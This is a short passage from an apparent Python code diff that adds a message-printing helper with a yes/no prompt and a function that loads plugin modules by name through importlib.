{colors().bold}{msg}{colors().end}') + elif what.lower() == 'question': + p = input(msg) + if p[0].lower() == 'y' or p[0] == '': + pass + else: + exit() + def load_modules(module): + Module.printer('info',f'Loading {module} Module') + module = 'modules.'+module.replace('.py','').replace('/','.') + c = importlib.import_module(module) + return c